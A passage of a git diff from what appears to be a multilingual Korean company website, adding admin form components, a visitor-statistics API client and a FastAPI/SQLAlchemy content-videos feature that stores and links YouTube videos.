className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
<p className="text-xs text-gray-500 mt-1">
|
||||
숫자가 작을수록 먼저 표시됩니다
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-center pt-6">
|
||||
<label className="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
name="is_active"
|
||||
checked={formData.is_active}
|
||||
onChange={handleChange}
|
||||
className="w-4 h-4 text-[#3B82F6] rounded border-gray-300 focus:ring-[#3B82F6]"
|
||||
/>
|
||||
<span className="ml-2 text-sm text-gray-700">웹사이트에 표시</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Buttons */}
|
||||
<div className="flex items-center justify-end space-x-4">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => router.push("/admin/products")}
|
||||
className="px-6 py-2 text-gray-700 font-medium rounded-lg hover:bg-gray-100 transition-colors"
|
||||
>
|
||||
취소
|
||||
</button>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={isSubmitting}
|
||||
className="flex items-center px-6 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors disabled:opacity-50"
|
||||
>
|
||||
{isSubmitting && <Loader2 className="w-4 h-4 animate-spin mr-2" />}
|
||||
저장
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
471
temp_SolutionForm.tsx
Normal file
471
temp_SolutionForm.tsx
Normal file
@@ -0,0 +1,471 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import { SolutionAdmin } from "@/lib/api";
|
||||
import { Loader2, ChevronDown, ChevronUp } from "lucide-react";
|
||||
|
||||
interface SolutionFormProps {
|
||||
initialData?: SolutionAdmin;
|
||||
onSubmit: (data: any) => Promise<void>;
|
||||
isSubmitting: boolean;
|
||||
}
|
||||
|
||||
const iconOptions = [
|
||||
{ value: "", label: "선택하세요" },
|
||||
{ value: "Monitor", label: "Monitor (모니터링)" },
|
||||
{ value: "Cog", label: "Cog (설정/제어)" },
|
||||
{ value: "Database", label: "Database (데이터)" },
|
||||
{ value: "Cloud", label: "Cloud (클라우드)" },
|
||||
{ value: "Factory", label: "Factory (공장)" },
|
||||
{ value: "Cpu", label: "Cpu (프로세싱)" },
|
||||
{ value: "BarChart3", label: "BarChart3 (차트)" },
|
||||
{ value: "Wifi", label: "Wifi (IoT)" },
|
||||
{ value: "Shield", label: "Shield (보안)" },
|
||||
{ value: "Zap", label: "Zap (자동화)" },
|
||||
];
|
||||
|
||||
const colorOptions = [
|
||||
{ value: "", label: "선택하세요" },
|
||||
{ value: "blue", label: "파랑" },
|
||||
{ value: "green", label: "초록" },
|
||||
{ value: "purple", label: "보라" },
|
||||
{ value: "orange", label: "주황" },
|
||||
{ value: "red", label: "빨강" },
|
||||
{ value: "cyan", label: "청록" },
|
||||
{ value: "pink", label: "분홍" },
|
||||
];
|
||||
|
||||
export default function SolutionForm({
|
||||
initialData,
|
||||
onSubmit,
|
||||
isSubmitting,
|
||||
}: SolutionFormProps) {
|
||||
const router = useRouter();
|
||||
const [showEnglish, setShowEnglish] = useState(!!initialData?.title_en);
|
||||
const [showJapanese, setShowJapanese] = useState(!!initialData?.title_ja);
|
||||
const [showChinese, setShowChinese] = useState(!!initialData?.title_zh);
|
||||
|
||||
const [formData, setFormData] = useState({
|
||||
title_ko: initialData?.title_ko || "",
|
||||
subtitle_ko: initialData?.subtitle_ko || "",
|
||||
description_ko: initialData?.description_ko || "",
|
||||
features_ko: initialData?.features_ko || "",
|
||||
title_en: initialData?.title_en || "",
|
||||
subtitle_en: initialData?.subtitle_en || "",
|
||||
description_en: initialData?.description_en || "",
|
||||
features_en: initialData?.features_en || "",
|
||||
title_ja: initialData?.title_ja || "",
|
||||
subtitle_ja: initialData?.subtitle_ja || "",
|
||||
description_ja: initialData?.description_ja || "",
|
||||
features_ja: initialData?.features_ja || "",
|
||||
title_zh: initialData?.title_zh || "",
|
||||
subtitle_zh: initialData?.subtitle_zh || "",
|
||||
description_zh: initialData?.description_zh || "",
|
||||
features_zh: initialData?.features_zh || "",
|
||||
icon: initialData?.icon || "",
|
||||
color: initialData?.color || "",
|
||||
is_active: initialData?.is_active ?? true,
|
||||
display_order: initialData?.display_order || 0,
|
||||
});
|
||||
|
||||
const handleChange = (
|
||||
e: React.ChangeEvent<
|
||||
HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement
|
||||
>
|
||||
) => {
|
||||
const { name, value, type } = e.target;
|
||||
setFormData({
|
||||
...formData,
|
||||
[name]:
|
||||
type === "checkbox"
|
||||
? (e.target as HTMLInputElement).checked
|
||||
: type === "number"
|
||||
? Number(value)
|
||||
: value,
|
||||
});
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
await onSubmit(formData);
|
||||
};
|
||||
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className="space-y-6">
|
||||
{/* Korean (Required) */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4 flex items-center">
|
||||
<span className="w-6 h-6 bg-[#3B82F6] text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
KO
|
||||
</span>
|
||||
한국어 (필수)
|
||||
</h3>
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
솔루션명 *
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="title_ko"
|
||||
value={formData.title_ko}
|
||||
onChange={handleChange}
|
||||
required
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
placeholder="예: 스마트 모니터링 시스템"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
부제목
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="subtitle_ko"
|
||||
value={formData.subtitle_ko}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
placeholder="예: 실시간 데이터 수집 및 분석"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
설명
|
||||
</label>
|
||||
<textarea
|
||||
name="description_ko"
|
||||
value={formData.description_ko}
|
||||
onChange={handleChange}
|
||||
rows={4}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
placeholder="솔루션에 대한 상세 설명..."
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
기능 (쉼표로 구분)
|
||||
</label>
|
||||
<textarea
|
||||
name="features_ko"
|
||||
value={formData.features_ko}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
placeholder="예: 실시간 모니터링, 데이터 분석, 알림 기능"
|
||||
/>
|
||||
<p className="text-xs text-gray-500 mt-1">
|
||||
기능들을 쉼표(,)로 구분하여 입력하세요
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* English */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowEnglish(!showEnglish)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
EN
|
||||
</span>
|
||||
English (선택)
|
||||
</span>
|
||||
{showEnglish ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showEnglish && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Solution Title
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="title_en"
|
||||
value={formData.title_en}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Subtitle
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="subtitle_en"
|
||||
value={formData.subtitle_en}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Description
|
||||
</label>
|
||||
<textarea
|
||||
name="description_en"
|
||||
value={formData.description_en}
|
||||
onChange={handleChange}
|
||||
rows={4}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Features (comma separated)
|
||||
</label>
|
||||
<textarea
|
||||
name="features_en"
|
||||
value={formData.features_en}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Japanese */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowJapanese(!showJapanese)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
JA
|
||||
</span>
|
||||
日本語 (선택)
|
||||
</span>
|
||||
{showJapanese ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showJapanese && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
ソリューション名
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="title_ja"
|
||||
value={formData.title_ja}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
サブタイトル
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="subtitle_ja"
|
||||
value={formData.subtitle_ja}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
説明
|
||||
</label>
|
||||
<textarea
|
||||
name="description_ja"
|
||||
value={formData.description_ja}
|
||||
onChange={handleChange}
|
||||
rows={4}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
機能 (カンマ区切り)
|
||||
</label>
|
||||
<textarea
|
||||
name="features_ja"
|
||||
value={formData.features_ja}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Chinese */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowChinese(!showChinese)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
ZH
|
||||
</span>
|
||||
中文 (선택)
|
||||
</span>
|
||||
{showChinese ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showChinese && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
解决方案名称
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="title_zh"
|
||||
value={formData.title_zh}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
副标题
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="subtitle_zh"
|
||||
value={formData.subtitle_zh}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
描述
|
||||
</label>
|
||||
<textarea
|
||||
name="description_zh"
|
||||
value={formData.description_zh}
|
||||
onChange={handleChange}
|
||||
rows={4}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
功能 (逗号分隔)
|
||||
</label>
|
||||
<textarea
|
||||
name="features_zh"
|
||||
value={formData.features_zh}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Common Fields */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">표시 설정</h3>
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
아이콘
|
||||
</label>
|
||||
<select
|
||||
name="icon"
|
||||
value={formData.icon}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
>
|
||||
{iconOptions.map((icon) => (
|
||||
<option key={icon.value} value={icon.value}>
|
||||
{icon.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
색상
|
||||
</label>
|
||||
<select
|
||||
name="color"
|
||||
value={formData.color}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
>
|
||||
{colorOptions.map((color) => (
|
||||
<option key={color.value} value={color.value}>
|
||||
{color.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
표시 순서
|
||||
</label>
|
||||
<input
|
||||
type="number"
|
||||
name="display_order"
|
||||
value={formData.display_order}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
<p className="text-xs text-gray-500 mt-1">
|
||||
숫자가 작을수록 먼저 표시됩니다
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-center pt-6">
|
||||
<label className="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
name="is_active"
|
||||
checked={formData.is_active}
|
||||
onChange={handleChange}
|
||||
className="w-4 h-4 text-[#3B82F6] rounded border-gray-300 focus:ring-[#3B82F6]"
|
||||
/>
|
||||
<span className="ml-2 text-sm text-gray-700">웹사이트에 표시</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Buttons */}
|
||||
<div className="flex items-center justify-end space-x-4">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => router.push("/admin/solutions")}
|
||||
className="px-6 py-2 text-gray-700 font-medium rounded-lg hover:bg-gray-100 transition-colors"
|
||||
>
|
||||
취소
|
||||
</button>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={isSubmitting}
|
||||
className="flex items-center px-6 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors disabled:opacity-50"
|
||||
>
|
||||
{isSubmitting && <Loader2 className="w-4 h-4 animate-spin mr-2" />}
|
||||
저장
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
49
temp_api_addition.ts
Normal file
49
temp_api_addition.ts
Normal file
@@ -0,0 +1,49 @@
|
||||
export const visitorsApi = {
|
||||
// Track visitor (public)
|
||||
track: (pagePath?: string, referrer?: string) =>
|
||||
fetchApi<{ message: string; new_visitor: boolean }>(`/visitors/track?${new URLSearchParams({
|
||||
...(pagePath && { page_path: pagePath }),
|
||||
...(referrer && { referrer: referrer })
|
||||
}).toString()}`, {
|
||||
method: "POST",
|
||||
}),
|
||||
|
||||
// Get stats (public)
|
||||
getStats: () =>
|
||||
fetchApi<VisitorStats>("/visitors/stats/public"),
|
||||
|
||||
// Admin
|
||||
adminGetStats: (token: string) =>
|
||||
fetchApi<VisitorStats>("/visitors/stats", { token }),
|
||||
|
||||
adminGetCountryStats: (token: string) =>
|
||||
fetchApi<CountryStats[]>("/visitors/stats/countries", { token }),
|
||||
|
||||
// Extended statistics
|
||||
adminGetOverview: (token: string, days: number = 30) =>
|
||||
fetchApi<OverviewStats>(`/visitors/admin/overview?days=${days}`, { token }),
|
||||
|
||||
adminGetVisitsChart: (token: string, days: number = 30) =>
|
||||
fetchApi<ChartData>(`/visitors/admin/chart/visits?days=${days}`, { token }),
|
||||
|
||||
adminGetUniqueChart: (token: string, days: number = 30) =>
|
||||
fetchApi<ChartData>(`/visitors/admin/chart/unique?days=${days}`, { token }),
|
||||
|
||||
adminGetDeviceBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/device?days=${days}`, { token }),
|
||||
|
||||
adminGetBrowserBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/browser?days=${days}`, { token }),
|
||||
|
||||
adminGetOsBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/os?days=${days}`, { token }),
|
||||
|
||||
adminGetTopPages: (token: string, days: number = 30) =>
|
||||
fetchApi<TopPagesData>(`/visitors/admin/top-pages?days=${days}`, { token }),
|
||||
|
||||
adminGetTopReferrers: (token: string, days: number = 30) =>
|
||||
fetchApi<TopReferrersData>(`/visitors/admin/top-referrers?days=${days}`, { token }),
|
||||
|
||||
adminGetRealtime: (token: string) =>
|
||||
fetchApi<RealtimeStats>("/visitors/admin/realtime", { token }),
|
||||
};
|
||||
6
temp_api_fix.txt
Normal file
6
temp_api_fix.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
adminDeleteInquiry: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/contact/admin/inquiries/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
57
temp_content_video.py
Normal file
57
temp_content_video.py
Normal file
@@ -0,0 +1,57 @@
|
||||
from sqlalchemy import Column, Integer, String, Boolean, DateTime, Text
|
||||
from sqlalchemy.sql import func
|
||||
from ..core.database import Base
|
||||
|
||||
|
||||
class ContentVideo(Base):
|
||||
"""YouTube videos for Projects, Solutions, and Products"""
|
||||
__tablename__ = "content_videos"
|
||||
|
||||
id = Column(Integer, primary_key=True, index=True)
|
||||
|
||||
# YouTube video ID (e.g., "dQw4w9WgXcQ" from https://youtube.com/watch?v=dQw4w9WgXcQ)
|
||||
youtube_id = Column(String(20), nullable=False)
|
||||
|
||||
# Title in multiple languages
|
||||
title_ko = Column(String(200), nullable=False)
|
||||
title_en = Column(String(200))
|
||||
title_ja = Column(String(200))
|
||||
title_zh = Column(String(200))
|
||||
|
||||
# Optional description
|
||||
description_ko = Column(Text)
|
||||
description_en = Column(Text)
|
||||
description_ja = Column(Text)
|
||||
description_zh = Column(Text)
|
||||
|
||||
# Entity reference (polymorphic association)
|
||||
entity_type = Column(String(20), nullable=False, index=True) # "project", "solution", "product"
|
||||
entity_id = Column(Integer, nullable=False, index=True)
|
||||
|
||||
# Display settings
|
||||
display_order = Column(Integer, default=0)
|
||||
is_active = Column(Boolean, default=True)
|
||||
|
||||
# Timestamps
|
||||
created_at = Column(DateTime(timezone=True), server_default=func.now())
|
||||
updated_at = Column(DateTime(timezone=True), onupdate=func.now())
|
||||
|
||||
@property
|
||||
def youtube_url(self) -> str:
|
||||
"""Full YouTube URL"""
|
||||
return f"https://www.youtube.com/watch?v={self.youtube_id}"
|
||||
|
||||
@property
|
||||
def youtube_embed_url(self) -> str:
|
||||
"""YouTube embed URL for iframe"""
|
||||
return f"https://www.youtube.com/embed/{self.youtube_id}"
|
||||
|
||||
@property
|
||||
def thumbnail_url(self) -> str:
|
||||
"""YouTube thumbnail URL (max resolution)"""
|
||||
return f"https://img.youtube.com/vi/{self.youtube_id}/maxresdefault.jpg"
|
||||
|
||||
@property
|
||||
def thumbnail_url_hq(self) -> str:
|
||||
"""YouTube thumbnail URL (high quality fallback)"""
|
||||
return f"https://img.youtube.com/vi/{self.youtube_id}/hqdefault.jpg"
|
||||
137
temp_content_video_schema.py
Normal file
137
temp_content_video_schema.py
Normal file
@@ -0,0 +1,137 @@
|
||||
from pydantic import BaseModel, field_validator
|
||||
from typing import Optional
|
||||
from datetime import datetime
|
||||
import re
|
||||
|
||||
|
||||
class ContentVideoBase(BaseModel):
|
||||
youtube_id: str
|
||||
title_ko: str
|
||||
title_en: Optional[str] = None
|
||||
title_ja: Optional[str] = None
|
||||
title_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
entity_type: str # "project", "solution", "product"
|
||||
entity_id: int
|
||||
display_order: int = 0
|
||||
is_active: bool = True
|
||||
|
||||
@field_validator('youtube_id', mode='before')
|
||||
@classmethod
|
||||
def extract_youtube_id(cls, v):
|
||||
"""Extract YouTube ID from various URL formats or plain ID"""
|
||||
if not v:
|
||||
return v
|
||||
|
||||
# Already a plain ID (11 characters)
|
||||
if re.match(r'^[a-zA-Z0-9_-]{11}$', v):
|
||||
return v
|
||||
|
||||
# Extract from various YouTube URL formats
|
||||
patterns = [
|
||||
r'(?:youtube\.com/watch\?v=|youtu\.be/|youtube\.com/embed/)([a-zA-Z0-9_-]{11})',
|
||||
r'youtube\.com/watch\?.*v=([a-zA-Z0-9_-]{11})',
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
match = re.search(pattern, v)
|
||||
if match:
|
||||
return match.group(1)
|
||||
|
||||
# Return as-is if no pattern matches
|
||||
return v
|
||||
|
||||
@field_validator('entity_type')
|
||||
@classmethod
|
||||
def validate_entity_type(cls, v):
|
||||
allowed = ['project', 'solution', 'product']
|
||||
if v not in allowed:
|
||||
raise ValueError(f'entity_type must be one of: {allowed}')
|
||||
return v
|
||||
|
||||
|
||||
class ContentVideoCreate(ContentVideoBase):
|
||||
pass
|
||||
|
||||
|
||||
class ContentVideoUpdate(BaseModel):
|
||||
youtube_id: Optional[str] = None
|
||||
title_ko: Optional[str] = None
|
||||
title_en: Optional[str] = None
|
||||
title_ja: Optional[str] = None
|
||||
title_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
display_order: Optional[int] = None
|
||||
is_active: Optional[bool] = None
|
||||
|
||||
@field_validator('youtube_id', mode='before')
|
||||
@classmethod
|
||||
def extract_youtube_id(cls, v):
|
||||
if not v:
|
||||
return v
|
||||
if re.match(r'^[a-zA-Z0-9_-]{11}$', v):
|
||||
return v
|
||||
patterns = [
|
||||
r'(?:youtube\.com/watch\?v=|youtu\.be/|youtube\.com/embed/)([a-zA-Z0-9_-]{11})',
|
||||
r'youtube\.com/watch\?.*v=([a-zA-Z0-9_-]{11})',
|
||||
]
|
||||
for pattern in patterns:
|
||||
match = re.search(pattern, v)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return v
|
||||
|
||||
|
||||
class ContentVideoResponse(BaseModel):
|
||||
id: int
|
||||
youtube_id: str
|
||||
title_ko: str
|
||||
title_en: Optional[str] = None
|
||||
title_ja: Optional[str] = None
|
||||
title_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
entity_type: str
|
||||
entity_id: int
|
||||
display_order: int
|
||||
is_active: bool
|
||||
created_at: Optional[datetime] = None
|
||||
updated_at: Optional[datetime] = None
|
||||
|
||||
# Computed fields
|
||||
youtube_url: str = ""
|
||||
youtube_embed_url: str = ""
|
||||
thumbnail_url: str = ""
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
def __init__(self, **data):
|
||||
super().__init__(**data)
|
||||
youtube_id = data.get('youtube_id', '')
|
||||
self.youtube_url = f"https://www.youtube.com/watch?v={youtube_id}"
|
||||
self.youtube_embed_url = f"https://www.youtube.com/embed/{youtube_id}"
|
||||
self.thumbnail_url = f"https://img.youtube.com/vi/{youtube_id}/maxresdefault.jpg"
|
||||
|
||||
|
||||
class ContentVideoPublic(BaseModel):
|
||||
"""Public response with language-specific fields"""
|
||||
id: int
|
||||
youtube_id: str
|
||||
title: str
|
||||
description: Optional[str] = None
|
||||
youtube_url: str
|
||||
youtube_embed_url: str
|
||||
thumbnail_url: str
|
||||
display_order: int
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
268
temp_content_videos_api.py
Normal file
268
temp_content_videos_api.py
Normal file
@@ -0,0 +1,268 @@
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query
|
||||
from sqlalchemy.orm import Session
|
||||
from typing import List, Optional
|
||||
from app.core.database import get_db
|
||||
from app.models.content_video import ContentVideo
|
||||
from app.schemas.content_video import (
|
||||
ContentVideoCreate,
|
||||
ContentVideoUpdate,
|
||||
ContentVideoResponse,
|
||||
ContentVideoPublic,
|
||||
)
|
||||
from app.api.auth import get_current_admin
|
||||
|
||||
router = APIRouter(prefix="/content-videos", tags=["content-videos"])
|
||||
|
||||
|
||||
def get_localized_field(obj, field: str, locale: str) -> str:
|
||||
"""Get localized field value with fallback to Korean"""
|
||||
localized = getattr(obj, f"{field}_{locale}", None)
|
||||
if localized:
|
||||
return localized
|
||||
return getattr(obj, f"{field}_ko", "") or ""
|
||||
|
||||
|
||||
# ============ Public Endpoints ============
|
||||
|
||||
@router.get("/entity/{entity_type}/{entity_id}", response_model=List[ContentVideoPublic])
|
||||
def get_videos_for_entity(
|
||||
entity_type: str,
|
||||
entity_id: int,
|
||||
locale: str = Query(default="ko"),
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Get all active videos for a specific entity (public)"""
|
||||
if entity_type not in ["project", "solution", "product"]:
|
||||
raise HTTPException(status_code=400, detail="Invalid entity type")
|
||||
|
||||
videos = db.query(ContentVideo).filter(
|
||||
ContentVideo.entity_type == entity_type,
|
||||
ContentVideo.entity_id == entity_id,
|
||||
ContentVideo.is_active == True
|
||||
).order_by(ContentVideo.display_order).all()
|
||||
|
||||
return [
|
||||
ContentVideoPublic(
|
||||
id=v.id,
|
||||
youtube_id=v.youtube_id,
|
||||
title=get_localized_field(v, "title", locale),
|
||||
description=get_localized_field(v, "description", locale) or None,
|
||||
youtube_url=f"https://www.youtube.com/watch?v={v.youtube_id}",
|
||||
youtube_embed_url=f"https://www.youtube.com/embed/{v.youtube_id}",
|
||||
thumbnail_url=f"https://img.youtube.com/vi/{v.youtube_id}/maxresdefault.jpg",
|
||||
display_order=v.display_order,
|
||||
)
|
||||
for v in videos
|
||||
]
|
||||
